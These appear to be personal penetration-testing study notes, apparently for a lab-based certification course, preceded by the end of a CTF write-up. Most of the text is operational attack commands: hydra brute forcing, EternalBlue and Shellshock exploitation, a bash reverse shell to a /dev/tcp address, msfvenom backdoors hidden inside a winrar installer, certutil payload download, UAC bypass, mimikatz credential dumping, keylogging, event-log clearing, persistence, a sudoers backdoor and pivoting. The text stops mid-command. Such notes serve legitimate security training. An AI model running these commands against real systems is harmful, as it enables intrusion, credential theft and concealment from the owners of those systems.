find / -name chattr 2>/dev/null Output: /var/7cy7grc93q97c/chattr Using the chattr binary, we changed the attributes of the owner.txt file such that we could have write access, and put our flag in the file to start gaining points. We also used chattr to remove write access from the owner.txt file from ours and other flag servers that we pwned just to make it difficult for an opposing team to change this file even if we lose access somehow. But that did not happen. Summary Before the King of the Hill segment of the competition, we were in 11th place. But after the King of the Hill, our team ended up in 5th place. Being fast, constantly monitoring the machines we owned for any suspicious activity, and constantly attacking other teams ensured that we did very well in the part of the competition, leading to substantial gaining of ranks. We learned about conducting reconnaissance, finding vulnerabilities through code review, exploiting servers through known vectors and maintaining persistence after compromising a machine through this competition. ...

Assessment Methodologies Passive Information Gathering Website Recon & Footprinting IP Addresses host <domain> Directories robots.txt sitemap.xml Names Emails Phone Numbers Physical Addresses Web Technologies Used BuiltWith → Firefox Addon (Recommended) Wappalyzer → Extension whatweb <domain> → Linux Tool webhttrack → Website Copier Whois Enumeration https://who.is website whois <domain> Website Footprinting with Netcraft https://netcraft.com DNS Recon dnsrecon -d <domain> → Kali Linux Tool https://dnsdumpster.com/ WAF wafw00f Subdomain Enumeration Sublist3r Google Dorks cache:ine.com Exploit-DB Dorks Email Harvesting theHarvester Leaked Password Databases HaveIBeenPwned? Active Information Gathering DNS Zone Transfer /etc/hosts → Local DNS dnsenum dig fierce nmap netdiscover Footprinting & Scanning Active Information Gathering Host Discovery Techniques Ping Sweeps → ICMP Echo Requests → Tool: fping fping -a -g 10.10.23.0/24 ARP Scanning TCP SYN Ping → Half-Open Scan UDP Ping TCP ACK Ping SYN-ACK Ping → Sends SYN-ACK packets NMAP Scripts → /usr/share/nmap/scripts/ Firewall/IDS Evasion -f → Fragments IP packets -D → Decoy -Pn vs -sn -sn → tells Nmap not to scan any ports → forcing it to rely primarily on ICMP echo packets → to identify targets -Pn Types of Scans: TCP Connect Scans (-sT) SYN “Half-open” Scans (-sS) UDP Scans (-sU) TCP Null Scans (-sN) → sent with no flags set at all As per the RFC, the target host should respond with a RST if the port is closed. TCP FIN Scans (-sF) → a request is sent with the FIN flag (usually used to gracefully close an active connection) Nmap expects a RST if the port is closed. TCP Xmas Scans (-sX) → send a malformed TCP packet and expects a RST response for closed ports. If a UDP port doesn’t respond to an Nmap scan, it will be marked as open|filtered NULL, FIN and Xmas → Firewall Evasion Microsoft Windows → may respond to a NULL, FIN or Xmas scan with a RST for every port Zenmap: Green → Machine is alive Red → Machine is alive but not responding or not directly accessible Yellow → We have launched the scan (that is, the attacker machine) and it has plotted the other hosts connection with hostname and IP addresses to localhost. nmap -Pn -p 134,177,234 -sUV 192.156.4.3 --script=discovery FFUF You could also use any custom keyword instead of FUZZ, you just need to define it like this wordlist.txt:KEYWORD ffuf -u http://10.10.199.197/NORAJ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt:NORAJ generic list of files such as raft-medium-files-lowercase.txt ffuf -u http://10.10.199.197/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt To hide the progress: 2>/dev/null Directories: ffuf -u http://10.10.199.197/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt By adding -fc 403 (filter code) we’ll hide from the output all 403 HTTP status codes. -mc 200 → Only shows 200 -fr → Filter regexp Audit https://cisofy.com/lynis/ Penetration Testing Windows Vulnerabilities Windos IIS - Port 80, 443 WebDAV - Port 80, 443 SMB/CIFS - Port 445 RDP - Port 3389 WinRM - Port 5986/443 Exploit - WebDAV IIS nmap -sV -p 80 --script=http-enum <target> hydra -L <username-list> -P <password-list> <target> http-get /webdav/ davtest -auth user:password -url <url> cadaver <url> → Enter username & password put <webshell-path> Webshells → /usr/share/webshells dir C:/ & type C:/<filepath> msfvenom -p windows/meterpreter/reverse_tcp LHOST=<my-ip> LPORT=1234 -f asp > shell.asp service postgresql start && msfconsole use multi/handler → Use to setup a listener for payload you created with msfvenom set payload windows/meterpreter/reverse_tcp show options set LHOST & LPORT & Run Exploit - SMB : PSExec nmap -sV -sC <target> scanner/smb/smb_login psexec.py Administrator@192.168.1.1 Usernames: /usr/share/metasploit/data/wordlists/common_users.txt exploit/windows/smb/psexec Exploit - SMB : Eternal Blue(MS17-010) https://github.com/3ndG4me/AutoBlue-MS17-010 cd Shellcode ./shell_prep.sh → Enter Y, Your IP, LPORT, Regular Shell, Stageless nc -lvnp 1234 python eternalblue_exploitX.py <target IP> shellcode/sc_x64.bin Method 2 : Metasploit use windows/smb/ms17_010_eternalblue Exploit - RDP use auxiliary/scanner/rdp/rdp_scanner → Set RHOST & RPORT → To detect RDP hydra -L <username-wordlist> -P <password-wordlist> rdp://<target> -s <PORT> xfreerdp /u:<username> /p:<password> /v:<target>:<port> Exploit - WinRM Port → 5985 crackmapexec winrm <target-ip> -u <username> -p <wordlist-path> crackmapexec winrm <target> -u <username> -p <password> -x <command> evil-winrm.rb -u <username> -p <password> -i <target> use exploit/windows/winrm/winrm_script_exec set FORCE_VBS true set username & password exploit > use auxiliary/scanner/winrm/winrm_auth_methods > use auxiliary/scanner/winrm/winrm_login > set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt > set VERBOSE false > use use auxiliary/scanner/winrm/winrm_cmd > set USERNAME administrator > set PASSWORD tinkerbell > set cmd whoami > run > use exploit/windows/winrm/winrm_script_exec > set USERNAME <> > set PASSWORD <> > set LHOST <IP> > set FORCE_VBS true > run > sysinfo Privilege Escalation Windows Windows-Exploit-Suggester - https://github.com/AonCyberLabs/Windows-Exploit-Suggester Copy sysinfo to a txt file ./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database <filename.xls> --systeminfo <path-to-txt-file> Windows-Kernel-Exploits - https://github.com/SecWiki/windows-kernel-exploits Download the specific exploit Upload this exploit using Meterpreter shell → .\<exploit>.exe Meterpreter → getsystem → Escalate Privileges use multi/recon/local_exploit_suggester → To find out vulnerable exploits Exploit - UAC UAC → User Access Control → Windows Security Feature → Used to prevent unauthorized changes from being made to the OS It ensures that changes to the IS require approval from admin or a user account that is part of admin group https://github.com/hfiref0x/UACME net users net localgroup administrators use exploit/windows/http/rejetoo_hfs_exec pgrep explorer → Digit migrate <digit> → Change x86 to x64 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<my-ip> LPORT=1234 -f exe > backdoor.exe upload backdoor.exe upload /root/Desktop/Tools/UACME/Akagi64.exe .\Akagi64.exe 23 C:\Temp\backdoor.exe Enumeration Importing Nmap results into MSF service postgresql start msfconsole msf> db_status msf> workspace msf> workspace -a <name> // Create a new workspace msf> db_import <path_to_file> msf> hosts // Check whether the data imported successfully msf> services // Check whether the data imported successfully msf> db_nmap -Pn -sV -o 10.4.22.173 // Results will be saved in MSF DB Port Scanning with Auxiliary Modules service postgresql start msfconsole msf> workspace -a portscan msf> search portscan msf> use <module_name> / <index> // scanner/portscan/tcp msf> show options msf> set RHOSTS 192.168.100.43 // TARGET IP msf> curl <> // If HTTP is open msf> search xoda msf> use <index/module_name> msf> show options msf> set RHOSTS <TARGET IP> msf> set TARGETURI / -> // Set the path where service is hosted msf> exploit // It will give meterpreter session mp> sysinfo // Target Infomation mp> shell // Open shell session bash> ifconfig // Identify next target address (x.x.x.x+1) bash> exit // CTRL + C mp> run autoroute -s <IP> // IP of one of the machine in subnet -> Add route mp> background // Will take this session in Background msf> sessions // View current sessions msf> search portscan msf> set RHOSTS <TARGET_2> // Target 1+1 (x.x.x.x+1) msf> run msf> back msf> search udp_sweep ERROR: [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? SOLUTION: SET LHOST <BASE_MACHINE_IP> // Attacker IP FTP Enumeration msf> search type:auxiliary name:ftp msf> use auxiliary/scanner/ftp/ftp_version msf> use auxiliary/scanner/ftp/ftp_login msf> set RHOSTS <IP> msf> set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt msf> run msf> use auxiliary/scanner/ftp/anonymous SMB Enumeration msf> setg RHOSTS <IP> // Setting a Global variable msf> search type:auxiliary name:smb msf> use auxiliary/scanner/smb/smb_version msf> use auxiliary/scanner/smb/smb_enumusers msf> info // See info about module msf> use auxiliary/scanner/smb/smb_enumshares msf> set ShowFiles true msf> use auxiliary/scanner/smb/smb_login msf> set SMB_USER admin msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt bash> smbclient -L \\\\<IP>\\ -U admin // -L: List all shares bash> smbclient \\\\<IP>\\<share> -U admin // Replace share name Web Server Enumeration msf> setg RHOSTS <IP> msf> setg RHOST <IP> msf> search type:auxiliary name:http msf> use auxiliary/scanner/http/http_version msf> use auxiliary/scanner/http/http_header msf> use auxiliary/scanner/http/robots_txt msf> use auxiliary/scanner/http/dir_scanner msf> use auxiliary/scanner/http/files_dir msf> use auxiliary/scanner/http/http_login msf> set AUTH_URI <dir> // Replace dir that you want to bruteforce credentials msf> unset USERPASS_FILE msf> run msf> set USER_FILE /usr/share/metasploit-framework/data/wordlists/namelist.txt msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt msf> set VERBOSE false msf> run msf> use auxiliary/scanner/http/apache_userdir_enum msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt msf> echo "<username>" > user.txt msf> use auxiliary/scanner/http/http_login msf> set USER_FILE /root/user.txt MySQL Enumeration // MySQL - TCP Port 3306 msf> use auxiliary/scanner/mysql/mysql_version msf> use use auxiliary/scanner/mysql/mysql_login msf> set USERNAME root msf> set PASSFILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt msf> set VERBOSE false msf> run // It will bruteforce passwords // auxiliary/admin/ -> This admin modules requires credentials msf> use auxiliary/admin/mysql/mysql_enum msf> set PASSWORD <password> // This module requires creds msf> set USERNAME root msf> run msf> use auxiliary/admin/mysql/mysql_sql msf> set USERNAME root msf> set PASSWORD <password> msf> set SQL show databases; msf> use auxiliary/scanner/mysql/mysql_schemadump msf> set USERNAME root msf> set PASSWORD <password> bash> mysql -h <IP> -u root -p SSH Enumeration msf> search type:auxiliary name:ssh msf> use auxiliary/scanner/ssh/ssh_version msf> use auxiliary/scanner/ssh/ssh_login // Password Auth msf> use auxiliary/scanner/ssh/ssh_version_pubkey // Key-Pair Auth msf> set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt msf> sessions <number> msf> /bin/bash -i bash> ls msf> use auxiliary/scanner/ssh/ssh_enumusers msf> set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt SMTP Enumeration msf> search type:auxiliary name:smtp msf> use auxiliary/scanner/smtp/smtp_version msf> use auxiliary/scanner/smtp/smtp_enum Vulnerability Assessment Frequently Exploited Windows Services Microsoft IIS → Port 80/443 → Web Server WebDAV → Port 80/443 → HTTP Extension that allows clients to update, delete, move & copy files on web server SMB/CIFS → Port 445 → Network File Sharing Protocol RDP → Port 3389 → Remotely authenticate & interact with Windows system WinRM → Port 5986/443 → Windows remote management protocol MSF Vulnerability Scanning bash> searchsploit "Microsoft Windows SMB" bash> searchsploit "Microsoft Windows SMB" | grep -e "Metasploit" metasploit-autopwn > wget https://github.com/hahwul/metasploit-autopwn/blob/09320cc637bf363a79a565e4ff3a58a50020ac6f/db_autopwn.rb > mv db_autopwn.db /usr/share/metasploit-framework/ > load db_autopwn (msf) > db_autopwn -p -t > db_autopwn -p -t -PI 445 > analyze MS17-010 SMB Vulnerability (EternalBlue Exploit) EternalBlue → Collection of Windows Vulnerabilities & exploits that allow attackers to remotely execute arbitrary code & gain access to a Windows System Affected Versions Vista, 7, Server 2008, 8.1, Server 2012, Windows 10, Windows Server 2016 > nmap -sV -p 445 -O <IP> > nmap -sV -p 445 --script=smb-vuln-ms17-010 <IP> > git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git > cd <DIR> > pip install -r requirement.txt > cd shellcode && chmod +x shell_prep.sh > ./shell_prep.sh // 1. Type Y 2. Enter LHOST IP 3. Enter LHOST port 4. Type 1(Regular CMD Shell) 5. Type 1 (Stageless payload) -> sc_x86.bin / sc_x64.bin > cd .. > chmod +x eternalblue_exploit7.py > nc -nvlp 1234 > python eternalblue_exploit7.py <IP> shellcode/sc_x64.bin // Method 2 msf> search eternalblue msf> use exploit/windows/smb/ms17_010_eternalblue msf> set RHOSTS <IP> BlueKeep (Windows CVE-2019-0708 RDP Vulnerability) Allow attackers to remotely execute arbitrary code & gain access to a Windows system & consequently the network that the target system is part of > sudo nmap -p <IP> msf> search BlueKeep msf> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep msf> set RHOSTS <IP> msf> run msf> use exploit/windows/rdp/cve_2019_0708_bluekeep_rce msf> set RHOSTS msf> exlpoit PassTheHash Attack msf> service postgresql start && msfconsole msf> search badblue msf> use exploit/windows/http/badblue_passthru msf> set RHOSTS <IP> msf> exploit mp> pgrep lsass mp> migrate 780 mp> getuid mp> load kiwi mp> lsa_dump_sam // Administrative NTLM Creds msf> use exploit/windows/smb/psexec msf> set LPORT <PORT> msf> set RHOSTS <IP> msf> set SMBUser Administrator msf> set SMBPass <LMHash>:<NTLM Hash> msf> set target Native\ upload msf> exploit // Method 2 > crackmapexec smb <IP> -u Administrator -H <NTLM Hash> > crackmapexec smb <IP> -u Administrator -H <NTLM Hash> -x "ipconfig" Shellshock (Bash CVE-2014-6271 Vulnerability) Allows an attacker to execute remote arbitrary commands via Bash, consequently allowing the attacker to obtain remote access to the target system via a reverse shell. > nmap -sV <IP> > nmap -sV <IP> --script=http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" > > Capture this request in Burp > User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd' > nc -nvlp 1234 > User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i>&/dev/tcp/192.24.241.2/1234 0>&1' msf> search shellshock msf> use exploit/multi/http/apache_mod_cgi_bash_env_exec msf> set RHOSTS <IP> msf> set TARGETURI /gettime.cgi msf> exploit Vulnerability Scanning Nessus sudo dpkg -i Nessus.deb // Download from Nessus Website sudo systemctl start nessusd.service WMAP msf> setg RHOSTS <IP> msf> load wmap msf> wmap_sites -a <IP> msf> wmap_targets -t http://<IP> msf> wmap_sites -l msf> wmap_targets -l msf> wmap_run -t msf> Windows Privilege Escalation Windows Kernel Exploits Windows-Exploit-Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester windows-kernel-exploits: https://github.com/SecWiki/windows-kernel-exploits msf> getsystem // command to run privilege escalation msf> use post/multi/recon/local_exploit_suggester msf> set SESSION <Number> msf> run Bypassing User Account Control (UAC) In order to bypass UAC, you need to have access to a user account that is a part of the local administrative group on the Windows target system. UACMe: https://github.com/hfiref0x/UACME > net users > net localgroup administrators > setg RHOSTS <IP> > search rejetto > run > sysinfo // 32-bit mp session > pgrep explorer > migrate <ID> > sysinfo // 64-bit mp session > shell > net user > net localgroup administrators > // MSF : UACME > use multi/handler > set payload windows/meterpreter/reverse_tcp > set LHOST <IP> > set LPORT <Port> > run // Create Payload > msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f exe 'backdoor.exe' // Continue Previous Session > pwd > getuid > getprivs > cd C:\\ > mkdir temp > cd temp > upload backdoor.exe > upload /root/Desktop/tools/UACME/Akagi64.exe > shell > dir > Akagi63.exe 23 C:\\temp\backdoor.exe It will connect to lister > getuid > getprivs > getsystem > hashdump Access Control Impersonation Windows Access Tokens: Responsible for identifying & describing the security context of a process or thread running on a system. Access tokens are generated by the winlogon.exe process every time a user authenticates successfully & includes the identity & privileges of the user account associated with the thread or process. Privileges: SeAssignPrimaryToken: This allows a user to impersonate tokens SeCreateToken: This allows a user to create an arbitrary token with an administrative privileges. SeImpersonatePrivilege: This allows a user to create a process under the security context of another user typically with administrative privileges. > nmap <IP> > search rejetto > set RHOSTS <IP> > exploit > sysinfo > pgrep explorer > migrate <ID> > getuid > getprivs > use incognito > list_tokens -u > impersonate_token <Name> > getuid > pgrep explorer > migrate <ID> Alternate Data Streams (ADS) ADS is an NTFS file attribute & was designed to provide compatibility with the macOS HFS Any file created on an NTFS drive will have two different forks/streams: Data Stream → Default stream that contains data of the file Resource Stream → Typically contains metadata of the file Attackers can use ADS to hide malicious code or executables in legitimate files in order to evade detection Unattended Windows Setup Config Files: C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Autounattend.xml > msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=1234 -f exe > payload.exe > python -m SimpleHTTPServer 80 // Windows > cd Desktop > certutil -urlcache -f http://<Kali>/payload.exe payload.exe > msfconsole > use multi/handler > set payload windows/x64/meterpreter/reverse_tcp > set LHOST <IP> > set LPORT 1234 > run // Execute the payload in Windows > search -f unattend.xml > cd C:\\Windows\\Panther > download unattend.xml > vim password.txt > base64 -d password.txt > psexec.py Administrator@<IP> // Enter password // Windows: runas.exe /user:Administrator cmd // Enter password Dumping Hashes with Mimikatz Mimikatz: Windows Post Exploitation tool → Allows for the extraction of clear-text passwords, hashes & Kerberos tickers from memory. > nmap -sV <IP> > msfconsole > search badblue > use exploit/windows/http/badblue_passthru > set RHOSTS <IP> > exploit > sysinfo > getuid > pgrep lsass > migrate <ID> > getuid > load kiwi > ? // Help Menu > creds_all // Dump all creds > lsa_dump_sam > lsa_dump_secrets > cd C:\\ > mkdir Temp > cd Temp > upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe > shell > dir > mimikatz.exe > privilege::debug > lsadump::sam > lsadump::secrets > sekurlsa::logonpasswords Linux Exploits FTP > nmap -sV <IP> > ftp <IP> // Check anonymous login > hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <IP> -t 4 ftp > searchsploit proftpd SSH > hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <IP> -t 4 ssh SAMBA SAMBA is a Linux implementation of SMB SAMBA allows Windows systems to access Linux shares & devices > nmap -sV <IP> > hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <IP> smb > smbmap -H <IP> -u admin -p <password> > smbclient -L <IP> -U admin > smbclient //<IP>/shawn -U admin > ? > dir > smbclient //<IP>/nancy -U admin > get flag > ls > cat flag > smbclient //<IP>/admin -U admin > tar xzf flag.tar.gz > cat flag > enum4linux -a <IP> > enum4linux -a -u admin -p <password> <IP> Linux Privilege Escalation Linux Kernel Exploits Linux Exploit Suggester: https://github.com/The-Z-Labs/linux-exploit-suggester > sysinfo > getuid > shell > /bin/bash -i > cat /etc/passwd > // Quick Download: Linux Exploit Suggester > chmod +x les.sh > ./les.sh > Misconfigured Cron Jobs Cron → Time based service that runs applications, scripts & other commands repeatedly on a specific schedule In order to elevate our privileges, we will need to find & identify the cron jobs scheduled by the root user or the files being processed by the the cron job > whoami > groups <user> > cat /etc/passwd > crontab -l // List crontab for current user > ls -la > cd / > grep -rnw /usr -e "/home/student/message" > cat /tmp/message > ls -la /usr/local/share/copy.sh > cat /usr/local/share/copy.sh > printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh > sudo su SUID Binaries SUID → Set Owner User ID permission This permission provides users with the ability to execute a script or binary with the permissions of the file owner as opposed to the user that is running the script or binary SUID permissions are typically used to provide unprivileged users with the ability to run specific scripts or binaries with “root” permissions. The provision of elevate privileges is limited to the execution of the script & does not translate to elevation of privileges. > whoami > groups <user> > ls -la > file welcome > strings welcome > rm greetings > cp /bin/bash greetings > ./welcome > cat /etc/shadow Dumping Linux Password Hashes Prefix: $1 → MD5 $2 → Blowfish $5 → SHA-256 $6 → SHA-512 > nmap -sV <IP> > searchsploit proftpd > setg RHOSTS <IP> > search proftpd > use exploit/unix/ftp/proftpd_133c_backdoor > show options > set payload payload/cmd/unix/reverse > exploit > /bin/bash -i > id > // Go in background > sessions > session -u 1 > sysinfo > getuid > cat /etc/shadow // Get hash > use post/linux/gather/hashdump > show options > set SESSION 2 > run // Crack hash > use auxiliary/analyze/crack_linux > set SHA512 true > run Network-Based Attacks Firewall Detection & IDS Evasion > nmap -Pn -sS -F <IP> // -F -> Fast Scan > nmap -Pn -sS -sV -F -f <IP> // -f -> Fragment Packets SMB & NetBIOS Enumeration NetBIOS → API & a set of network protocol providing communication services over a local network. It is used primarily to allow applications on different computers to find & interact with each other on a network SMB → A network file sharing protocol that allows computers on a network to share files, printers, & other resources. > cat /etc/hosts > ping demo.ine.local // reachable IP1 > ping demo1.ine.local // not reachable IP2 > nmap demo.ine.local > nbtscan > whatis nbtscan > nbtscan <IP/Subnet> > nbtscan > nmblookup -A <IP1> > nmap -sU -p 137 <IP1> > nmap -sU -sV -p 137 -T4 --script=nbstat.nse -Pn -n <IP1> > nmap -sV -p 139,445 demo.ine.local > ls -la /usr/share/nmap/scripts/ | grep -e "smb-*" > nmap -p445 --script smb-protocols demo.ine.local > nmap -p445 --script smb-security-mode demo.ine.local > smbclient -L demo.ine.local // testing for anonymous access -> press enter > nmap -p445 --script smb-enum-users demo.ine.local > nano users.txt // enter all usernames > hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb > psexec.py administrator@demo.ine.local > whoami // MSF > search psexec > use exploit/windows/smb/psexec > set SMBUser <username> > set SMBPass <password> > set payload windows/x64/meterpreter/reverse_tcp > exploit > sysinfo > shell > ping <IP2> // Exit > run autoroute -s <IP2/Subnet> // /20 -> Meterpreter > background > seach socks > use auxiliary/server/socks_proxy > set VERSION 4a // cat /etc/proxychains4 > set SRVPORT <ProxychainPort> > run > netstat -antp // Machine 1 > proxychains nmap demo1.ine.local -sT -Pn -sV -p 445 // MSF > shell > net view <IP2> > background > migrate -N explorer.exe > shell > net view <IP2> > net use D: \\<IP2>\Documents > net use K: \\<IP2>\K$ > dir D: > SNMP Enumeration > cat /etc/hosts > nmap -sU -sV -p 161 demo.ine.local > ls -la /usr/share/nmap/scripts | grep -e "snmp-*" > ls -la /usr/share/nmap/nselib/data/ | grep snmp > nmap -sU -p 161 --script=snmp-brute demo.ine.local > snmpwalk -v 1 -c public demo.ine.local > nmap -sU -p 161 --script=snmp-* demo.ine.local > snmp_results // Enumerate users, etc. > hydra -l administrator -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <IP> smb > SMB Relay Attack It is type of network attack where an attacker intercepts SMB traffic, manipulates it & relays it to a legitimate server to gain unauthorized access to resources or perform malicious actions > search smb_relay > use exploit/windows/smb/smb_relay > set SRVHOST <IP> // Kali Linux IP - ifconfig > set LHOST <IP> // Kali Linux IP - ifconfig > set SMBHOST <IP> // Check lab docs > // New Tab > echo "<Kali-IP> *.sportsfoo" > dns > dsnspoof -i eth1 -f dns > Metasploit MSFVenom x86 → 32 bit > msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=<A-IP> LPORT=<A-Port> -f exe > payloadx86.exe > msfvenom -a x64 -p windows/meterpreter/reverse_tcp LHOST=<A-IP> LPORT=<A-Port> -f exe > payloadx86.exe > msfvenom --list formats > msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<A-IP> LPORT=<A-Port> -f elf > payloadx86.elf // SHELLCODE // -i -> Iterations // -e -> Encoding // -x -> Inject in file // -k -> Keep original behavior of file (ex. winrar.exe) > msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=1234 -e x86/shikata_ga_nai -f exe > encodedx86.exe > msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > encodedx86.exe > msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=1234 -i 10 -e x86/shikata_ga_nai -f elf > encodedx86 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -x ~/Downloads/winrar601.exe > winrar.exe > msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -k -x ~/Downloads/winrar601.exe > winrar.exe // MSF Scripts > msfconsole -r handler.rc > HTTP File Server (HFS) > db_nmap -sS -sV -O <IP> > search type:exploit name:rejetto > use exploit/windows/http/rejetto_hfs_exec > set RHOSTS <IP> > exploit // 32-bit session > set payload windows/x64/meterpreter/reverse_tcp > exploit // 64-bit session Apache Tomcat Java Server > setg RHOSTS <IP> > db_nmap -sS -sV -O <IP> > services > search type:exploit tomcat_jsp > use exploit/multi/http/tomcat_jsp_upload_bypass > set payload java/jsp_shell_bind_tcp > set LHOST & LPORT > set SHELL cmd > exploit > background the session > msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali-IP> LPORT=1234 -f exe> meterpreter.exe > sudo python -m SimpleHTTPServer 80 > sessions 1 > certutil -urlcache -f http://<Kali-IP>/meterpreter.exe meterpreter.exe > dir // Continue > nano handler.rc > use multi/handler > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST <Kali-IP> > set LPORT 1234 > run > SAVE THE FILE > msfconsole -r handler.rc > .\meterpreter.exe // Resume after running handler.rc > sysinfo > getuid FTP Server > setg RHOSTS <IP> > db_nmap -sS -sV -O <IP> > services > analyze > search vsftpd > use exploit/unix/ftp/vsftpd+234_backdoor > exploit > background > sessions > search shell_to_meterpreter > use post/multi/manage/shell_to_meterpreter > set LHOST <kali-ip> > set LHOST eth1 > set SESSION <ID> > run > sessions 2 > sysinfo SAMBA : File Sharing Service > setg RHOSTS <IP> > db_nmap -sS -sV -O <IP> > search type:exploit name:samba > use exploit/linux/samba/is_known_pipename > check // check it it's vulnerable > run > ls / pwd > background > search shell_to_meterpreter > use post/multi/manage/shell_to_meterpreter > set LHOST eth1 > set SESSION <ID> > run > sessions 2 > sysinfo SSH > setg RHSOTS <IP> > db_nmap -sS -sV -O <IP> > search libssh_auth_bypass > use auxiliary/scanner/ssh/libssh_auth_bypass > set SPAWN_PTY true > run > session 1 > > background > search shell_to_meterpreter > use post/multi/manage/shell_to_meterpreter > set LHOST eth1 > set SESSION <ID> > run > sessions 2 SMTP > setg RHSOTS <IP> > db_nmap -sV -O <IP> > search type:exploit name:haraka > use exploit/linux/smtp/haraka > set SRVPORT 9898 > set email_to root@attackdefense.test > set payload linux/x64/meterpreter_reverse_http > set LHOST eth1 Meterpreter > edit flag1 // Text Editor > download flag1 > checksum md5 /bin/bash > getenv PATH > search -d /usr/bin -f *backdoor* > search -f *.jpg > search -f *.php > shell > ps // Runnning Processes > migrate <pid> > session -u 1 // Upgrade shell to Meterpreter session Windows Post Exploitation Modules > setg RHOSTS <IP> > db_nmap -sV <IP> > search rejetto > use exploit/windows/http/rejetto_hfs_exec > run > getsystem // elevate privileges > getuid > hashdump > show_mount > ps // list process > migrate <pid> > search win_privs > use post/windows/gather/win_privs > set SESSION <id> > run > search enum_logged > use post/windows/gather/enum_logged_on_users > set SESSION <id> > run > search checkvm > use post/windows/gather/checkvm > set SESSION <id> > run > search enum_applications > use post/windows/gather/enum_applications > set SESSION <id> > run > loot // Store results in DB > use post/windows/gather/windows_av_excluded > set SESSION 1 > run > search enum_computer > use post/windows/gather/enum_computers > search enum_patches > use post/windows/gather/enum_patches > use post/windows/gather/enum_shares > use post/windows/manage/enable_rdp > set SESSION <id> > run UAC Bypass > use exploit/windows/http/rejetto_hfs_exec > set payload windows/x64/meterpreter/reverse_tcp > set LHOST eth1 > exploit > sysinfo > getuid > getsystem > getprivs > shell > net users > net localgroup administrators > background > search bypassuac > use exploit/windows/local/bypassuac_injection > set payload windows/x64/meterpreter/reverse_tcp > set SESSION 1 > set LPORT 1234 > run > set TARGET Windows\ x64 > run > getsystem > hashdump Token Impersonation With Incognito > use exploit/windows/http/rejetto_hfs_exec > set payload windows/x64/meterpreter/reverse_tcp > set LHOST eth1 > exploit > sysinfo > getprivs > load incognito > list_tokens -u > impersonate_token "ATTACKDEFENSE\Administrator" > getuid > migrate <> > getuid Windows Persistence > use exploit/windows/http/rejetto_hfs_exec > set payload windows/x64/meterpreter/reverse_tcp > set LHOST eth1 > exploit > background > search platform:windows name:persistence > use exploit/windows/local/persistence_service > set payload windows/x64/meterpreter/reverse_tcp > set SESSION 1 > exploit > set payload windows/meterpreter/reverse_tcp > exploit > sysinfo > sessions -K > use multi/handler > set LHOST eth1 > run Enabling RDP > use exploit/windows/http/badblue_passthru > set RHOSTS > set target Badblue\ EE\ 2.7\ Universal > exploit > background > search enable_rdp > use post/windows/manage/enable_rdp > set SESSION 1 > exploit > db_nmap -sV -p 3389 <IP> > shell > net user administrator hacker_123321 // Change Password > xfreerdp /u:administrator /p:hacker_123321 /v:<IP> Windows Keylogging > use exploit/windows/http/badblue_passthru > exploit > pgrep explorer > migrate <ID> > keyscan_start > keyscan_dump Clearing Windows Event Logs > use exploit/windows/http/badblue_passthru > exploit > clearev // Deletes Event Logs Windows Pivoting > use exploit/windows/http/rejetto_hfs_exec > exploit > sysinfo > ipconfig // Copy the IP which is from same subnet : Victim 2 > run autoroute -s <IP>/<range> (Range-20) > background > use auxiliary/scanner/portscan/tcp > set RHOSTS <Victim2> > set PORTS 1-100 > exploit > sessions 1 > portfwd add -l 1234 -p 80 -r <Victim-2-Ip> > background > db_nmap -sS -sV -p 1234 localhost > use exploit/windows/http/badblue_passthru > set payload windows/meterpreter/bind_tcp > set RHOSTS <V-2-Ip> > set LPORT 4433 > exploit > sysinfo Linux Post Exploitation Post-Exploitation Modules > search samba > use exploit/linux/samba/is_known_pipename > set RHOSTS 